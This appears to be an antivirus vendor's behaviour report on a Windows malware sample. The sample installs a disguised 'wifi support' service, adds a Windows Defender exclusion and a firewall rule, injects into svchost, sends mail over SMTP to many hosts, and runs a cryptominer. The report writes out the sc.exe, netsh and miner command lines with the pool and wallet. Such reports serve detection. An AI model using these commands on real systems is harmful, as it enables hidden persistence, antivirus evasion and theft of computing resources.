Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\iqjopptb] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iqjopptb] 'ImagePath' = '%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\iqjopptb] 'ImagePath' = '%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\iqjopptb' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ofbizycg.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ofbizycg.exe to %WINDIR%\syswow64\iqjopptb\ofbizycg.exe
Deletes itself.
Network activity
Connects to
- 'mt##.##0.yahoodns.net':25
TCP
- '43.#31.4.7':443
- 'ma##.##st-my-mail.com':25
- 'ci#####s2.citac.edu.hk':25
- '18#.#65.238.150':419
- '78.#1.67.23':419
- '17#.#.114.177':419
- '46.#.52.109':419
- '93.##9.69.109':419
- '46.#8.66.2':419
- 'ye######.mxmail.netease.com':25
- 'mx#.##il.ovh.net':25
- 'tn####.telefonica.net':25
- 'sm####.laposte.net':25
- 'alt2.gmail-smtp-in.l.google.com':25
- 'mx###.##il.gm0.yahoodns.net':25
- 'mx.##timum.net':25
- 'ma#####ter.hibox.biz':25
- 'ja###avoie.com':25
- 'mx#.###.#ailpod8-cph3.one.com':25
- 'cn####2.uber.com':443
- 'ho#########.olc.protection.outlook.com':25
- 'it####ctalkat.com':25
- 'bu####.#omtecsolutions.com':25
- 'ja####ntacana.com':25
- '85.##4.134.88':483
- 'eu#.###.#rotection.outlook.com':25
- 'aspmx.l.google.com':25
- 'pb#####ce4.pobox.com':25
- 'mi####.bittubeapp.com':13333
- 'mx###.##il.am0.yahoodns.net':25
- 'ma##.##b-solutions.dk':25
- 'mt##.##0.yahoodns.net':25
- 'mx##.mb1p.com':25
- 'ma##.jamnik.si':25
- 'kc#####.##il.protection.outlook.com':25
- 'ms#####p-mx2.hinet.net':25
- 'ma##.#-email.net':25
- 'mx#.##rthlink.net':25
- 'alt1.ASPMX.L.GOOGLE.COM':25
- 'pu######1.mail2world.com':25
- 'ms#####p-mx1.hinet.net':25
- 'mx####.##il.gm0.yahoodns.net':25
- 'mx.##.#tinternet.com':25
- 'mx#.ovh.net':25
- 'alt2.aspmx.l.google.com':25
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK mx#.##il.ovh.net
- DNS ASK la##ste.net
- DNS ASK sm####.laposte.net
- DNS ASK vi###tron.ca
- DNS ASK mx.##deotron.ca
- DNS ASK ic##ud.com
- DNS ASK mx#.##il.icloud.com
- DNS ASK ex##ft.com
- DNS ASK ma##.exmsft.com
- DNS ASK au#.ibm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK te###onica.net
- DNS ASK tn####.telefonica.net
- DNS ASK gm##l.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK ed#####on-nouvelle.org
- DNS ASK ho##ail.de
- DNS ASK ye######.mxmail.netease.com
- DNS ASK ap.net
- DNS ASK ja###avoie.com
- DNS ASK at####ebmail.com
- DNS ASK ch##ter.net
- DNS ASK mx#.#harter.net
- DNS ASK ne###ape.net
- DNS ASK ev##fab.com
- DNS ASK bu####.#omtecsolutions.com
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK it##for.com
- DNS ASK ha##ail.com
- DNS ASK ma##.##st-my-mail.com
- DNS ASK it####ctalkat.com
- DNS ASK ev###aith.com
- DNS ASK ci#####s2.citac.edu.hk
- DNS ASK ye##.net
- DNS ASK ki##.com
- DNS ASK mx###.##il.gm0.yahoodns.net
- DNS ASK ne##ero.com
- DNS ASK mx#.#omcast.net
- DNS ASK ot##et.gr
- DNS ASK mx#.#tenet.gr
- DNS ASK we#.de
- DNS ASK mx###02.web.de
- DNS ASK ol####c-airways.gr
- DNS ASK li##.com
- DNS ASK mx.##enet.gr
- DNS ASK gr###iti.net
- DNS ASK mx#.gmx.com
- DNS ASK ya###.com.au
- DNS ASK rm.##mcom.it
- DNS ASK so.##mcom.it
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK al####homenet.com
- DNS ASK co##ast.net
- DNS ASK sk#.com
- DNS ASK cn####2.uber.com
- DNS ASK mx.####datacenter.net
- DNS ASK cm#.#inet.net
- DNS ASK ma#####ter.hibox.biz
- DNS ASK op###line.net
- DNS ASK mx.##timum.net
- DNS ASK le##lar.se
- DNS ASK ma##.lexolar.se
- DNS ASK ja####ntacana.com
- DNS ASK li###sign.se
- DNS ASK li###kvist.se
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK gm#.net
- DNS ASK mx##.#mig.gmx.net
- DNS ASK lo##s.se
- DNS ASK mx#.###.#ailpod8-cph3.one.com
- DNS ASK ar##ia.com
- DNS ASK mx.##a.untd.com
- DNS ASK ga##es.com
- DNS ASK mo.##mcom.it
- DNS ASK mx.#.#ocaweb.com.br
- DNS ASK nt###rld.com
- DNS ASK ya##o.co.uk
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK kc#.com
- DNS ASK kc#####.##il.protection.outlook.com
- DNS ASK ja##dat.dk
- DNS ASK ma##.##b-solutions.dk
- DNS ASK sh##tel.net
- DNS ASK ba######a.cloud.shentel.net
- DNS ASK ks#.com
- DNS ASK ma###2.ksb.com
- DNS ASK ja##ik.si
- DNS ASK ma##.jamnik.si
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK sf##.com
- DNS ASK mx##.mb1p.com
- DNS ASK da###ehring.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho##ail.fr
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK bo####2.pobox.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK pb#####ce4.pobox.com
- DNS ASK ch######herdthompson.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK aspmx.l.google.com
- DNS ASK co#.net
- DNS ASK cx#.##.#.cloudfilter.net
- DNS ASK ya##o.com
- DNS ASK fr####egonemail.com
- DNS ASK ma##.#-email.net
- DNS ASK ly##s.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK sm##.##cureserver.net
- DNS ASK ma##.com
- DNS ASK mx##.mail.com
- DNS ASK fa##rs.com
- DNS ASK sc###rexltd.com
- DNS ASK bt###ernet.com
- DNS ASK at##hmr.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK rk##.com
- DNS ASK mx#######b02.gslb.pphosted.com
- DNS ASK ma##c.com
- DNS ASK fa###ource.com
- DNS ASK ma##.#appyisp.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK jv###allo.com
- DNS ASK ve##zon.net
- DNS ASK ho##ail.it
- DNS ASK mx#.ovh.net
- DNS ASK alt1.ASPMX.L.GOOGLE.COM
- DNS ASK ex##te.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ea###link.net
- DNS ASK mx#.##rthlink.net
- DNS ASK re##ult.com
- DNS ASK fa###p.com.br
- DNS ASK ma###keith.com
- DNS ASK sm##.renault.fr
- DNS ASK gm#.com
- DNS ASK mx##.gmx.net
- DNS ASK gl##o.com
- DNS ASK mx#.####o.locaweb.com.br
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK 2h###rgy.com
- DNS ASK ch#####pherdouglas.net
- DNS ASK pu######1.mail2world.com
- DNS ASK li######.#lc.protection.outlook.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\iqjopptb\ofbizycg.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iqjopptb\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\iqjopptb\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create iqjopptb binPath= "%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description iqjopptb "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start iqjopptb' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\iqjopptb\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\iqjopptb\
- '%WINDIR%\syswow64\sc.exe' create iqjopptb binPath= "%WINDIR%\SysWOW64\iqjopptb\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description iqjopptb "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start iqjopptb
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
